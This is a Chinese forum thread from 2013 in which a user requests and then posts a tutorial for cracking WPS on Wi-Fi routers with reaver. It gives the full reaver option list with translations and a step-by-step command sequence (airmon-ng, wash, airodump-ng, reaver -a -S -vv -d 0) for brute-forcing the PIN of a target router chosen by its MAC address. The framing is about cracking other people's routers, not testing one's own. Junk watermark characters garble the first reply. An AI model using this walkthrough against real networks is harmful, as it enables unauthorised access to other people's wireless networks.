reaver教程
Tofloor
poster avatar
xiaojiangxiang
deepin
2013-10-27 06:47
Author
老大们,,求reaver详细教程啊。。。。。拜谢!
Reply Favorite View the author
All Replies
xiaojiangxiang
deepin
2013-11-10 01:59
#1
-m, --mac=         MAC of the host system5 C: v9 p' c4 Z4 H! R
                          指定本机MAC地址,在AP有MAC过滤的时候需要使用
  -e, --essid=      ESSID of the target AP
                          路由器的ESSID,一般不用指定
  -c, --channel= Set the 802.11 channel for the interface (implies -f), w, K" v+ F3 a: i
                          信号的频道,如果不指定会自动扫描
  -o, --out-file=   Send output to a log file [stdout], H/ r& u6 t9 V/ L3 S
                          标准输出到文件
  -s, --session=    Restore a previous session file
                          恢复进程文件1 {; O; C- x+ h' D) o
  -C, --exec=    Execute the supplied command upon successful pin recovery
                          pin成功后执行命令1 @5 c$ E, u- M" ]8 S# i: r! \% V& ~
  -D, --daemonize         Daemonize reaver
                          设置reaver成监视进程
  -a, --auto              Auto detect the best advanced options for the target AP7 ]/ }" G5 y* y/ X; d+ o; p, p
                          对目标AP自动检测高级参数
  -f, --fixed             Disable channel hopping8 l- w) _/ {: o9 z( x* E7 l
                          禁止频道跳转
  -5, --5ghz              Use 5GHz 802.11 channels
                          使用5G频道/ a. A! f" B9 o: H; S9 M' z
  -v, --verbose           Display non-critical warnings (-vv for more). w( D# [' r0 ~( Z) t
                          显示不重要警告信息 -vv 可以显示更多
  -q, --quiet             Only display critical messages
                          只显示关键信息- `$ @* t8 ^7 `4 Y" s
  -h, --help              Show help: A  Q: c" P/ }% @' q& W% U- `
                          显示帮助, c4 ~; ], j- Q. u% c! ]

5 D" l3 U$ k- T& f: p) O/ h
Advanced Options:
  -p, --pin=          Use the specified 4 or 8 digit WPS pin
                               制定4位或8位pin码为起始位置
  -d, --delay=        Set the delay between pin attempts [1]8 ^# s1 [( Z9 I
                               pin间延时,默认1秒,推荐设0
  -l, --lock-delay=   Set the time to wait if the AP locks WPS pin attempts [60]  p  H- n2 K3 e3 q7 d( I# ^9 M
                               AP锁定WPS后等待时间8 f; Z% o" C1 _; ~
  -g, --max-attempts=     Quit after num pin attempts0 D" d! G0 \7 T6 J! b" I2 B
                               最大pin次数
  -x, --fail-wait=    Set the time to sleep after 10 unexpected failures [0]
                               10次意外失败后等待时间,默认0秒
  -r, --recurring-delay=  Sleep for y seconds every x pin attempts9 g& T; X, U+ p
                               每x次pin后等待y秒
  -t, --timeout=      Set the receive timeout period [5], s* p0 ^2 @1 [* Z5 j' U0 z
                               收包超时,默认5秒8 j/ z9 {! X. V2 Q  \% Q
  -T, --m57-timeout=  Set the M5/M7 timeout period [0.20]3 _5 Y1 ~+ U( Z0 c2 }7 [
                               M5/M7超时,默认0.2秒6 m7 I* Q( p9 g3 E' W: `
  -A, --no-associate           Do not associate with the AP (association must be done by another application)
                               不连入AP(连入过程必须有其他程序完成)
  -N, --no-nacks               Do not send NACK messages when out of order packets are received
                               不发送NACK信息(如果一直pin不动,可以尝试这个参数)
  -S, --dh-small               Use small DH keys to improve crack speed
                               使用小DH关键值提高速度(推荐使用)7 x1 v: ?( |8 n$ Z0 G! g7 p
  -L, --ignore-locks           Ignore locked state reported by the target AP3 ?5 L4 h) r4 r% Y0 u7 V% @- H
                               忽略目标AP报告的锁定状态
  -E, --eap-terminate          Terminate each WPS session with an EAP FAIL packet
                               每当收到EAP失败包就终止WPS进程
  -n, --nack                   Target AP always sends a NACK [Auto]) W. M% l  E" A7 V
                               对目标AP总是发送NACK,默认自动
  -w, --win7                   Mimic a Windows 7 registrar [False]+ U- I" n7 I$ t: o- p% M$ f$ A
                               模拟win7注册,默认关闭
在bt中wpc文件保存在/usr/local/etc/reaver/ 目录- G" N  f- M0 D# F* E8 T* v+ _
如何保存进度:
http://forum.anywlan.com/thread-115566-1-1.html
' t( o3 }$ S4 s" Y" Z
Reply View the author
xiaojiangxiang
deepin
2013-11-10 02:01
#2
方法1:

1 输入:airmon-ng start wlan0 开启监听模式 (屏幕显示 加载8187L驱动成功–一次就加载成功啊!)

2 输入:wash -i mon0 -C 查看所有开启WPS的无线路由 长时间无反应按Ctrl+C,结束进程,这时记下你要PJ的目标路由MAC.

3 输入:airodump-ng mon0 网卡以混杂模式扫描所有频道—并显示所有AP的信息(包括 AP的信号强度,ESSID,MAC,频道,加密方式,等等…..),按Ctrl+C,结束扫描.

注:如果你已知对方无线路由信息 第2,第3步 可省略!

4 输入:reaver -i mon0 -b MAC -a -S -vv 开始穷举pin码

注:随时可以按CTRL+C退出保存进程,下次按下光标控制键“上”键然后回车,进程可继续。

实战我输入了reaver -i mon0 -b MACD8:5D:4C:37:78:F6 -a -S -vv -d 0 ( 多加了 -d 0 加快速度 ),只见屏幕飞闪……爽啊!

reaver 参数详解

必须参数
-i, –interface= Name of the monitor-mode interface to use
网卡的监视接口,通常是mon0
-b, –bssid= BSSID of the target AP
AP的MAC地址
Optional Arguments: 可选参数
-m, –mac= MAC of the host system
指定本机MAC地址
-e, –essid= ESSID of the target AP
路由器的ESSID,一般不用指定
-c, –channel= Set the 802.11 channel for the interface (implies -f)
信号的频道,如果不指定会自动扫描
-o, –out-file= Send output to a log file [stdout]
输出日志文件
-s, –session= Restore a previous session file
恢复进度文件
-C, –exec= Execute the supplied command upon successful pin recovery
pin成功后执行命令
-D, –daemonize Daemonize reaver
设置reaver成Daemon
-a, –auto Auto detect the best advanced options for the target AP
对目标AP自动检测高级参数
-f, –fixed Disable channel hopping
禁止频道跳转
-5, –5ghz Use 5GHz 802.11 channels
使用5G频道
-v, –verbose Display non-critical warnings (-vv for more)
显示不重要警告信息 -vv 可以显示更多
-q, –quiet Only display critical messages
只显示关键信息
-h, –help Show help
显示帮助
Advanced Options:高级选项
-p, –pin= Use the specified 4 or 8 digit WPS pin
使用指定的4位或者8位pin码
-d, –delay= Set the delay between pin attempts [1]
pin间延时,默认1秒
-l, –lock-delay= Set the time to wait if the AP locks WPS pin attempts [60]
AP锁定WPS后等待时间
-g, –max-attempts= Quit after num pin attempts
最大pin次数
Reaver 参数
—天天
-x, –fail-wait= Set the time to sleep after 10 unexpected failures [0]
10次意外失败后等待时间,默认0秒
-r, –recurring-delay= Sleep for y seconds every x pin attempts
每x次pin后等待y秒
-t, –timeout= Set the receive timeout period [5]
收包超时,默认5秒
-T, –m57-timeout= Set the M5/M7 timeout period [0.20]
M5/M7超时,默认0.2秒
-A, –no-associate Do not associate with the AP (association must be done by another application)
不连入AP(连入过程必须有其他程序完成)
-N, –no-nacks Do not send NACK messages when out of order packets are received
不发送NACK信息(如果一直pin不动,可以尝试这个参数)
-S, –dh-small Use small DH keys to improve crack speed
使用小DH关键值提高速度(推荐使用)
-L, –ignore-locks Ignore locked state reported by the target AP
忽略目标AP报告的锁定状态
-E, –eap-terminate Terminate each WPS session with an EAP FAIL packet
每当收到EAP失败包就终止WPS进程
-n, –nack Target AP always sends a NACK [Auto]
对目标AP总是发送NACK,默认自动
-w, –win7 Mimic a Windows 7 registrar [False]
模拟win7注册,默认关闭
Ps:影响到无线的因素很多,所以各参数之间的配合很重要,当然,最关键的还是取决于信号。

原理详细:

什么是PIN码?
印在无线路由器设备标签上的一组8位数字字符串,无线路由器管理界面中当然也会存在并可更改。

PIN码有什么用?
在无线网卡的配套管理软件(如TP-LINK的QSS软件)里输入无线路由器设备上的那8位数字字符串就可以成功登录该已被加密的无线路由器。

穷举PIN码是什么意思?
既然知道了无线路由器PIN值的范围(8位纯数字),且目前大部分设备的WPS是呈开启状态的,那么穷举PIN码以攻破无线路由器的安全防护这一暴力行为就有了*理论*可行性。

Reply View the author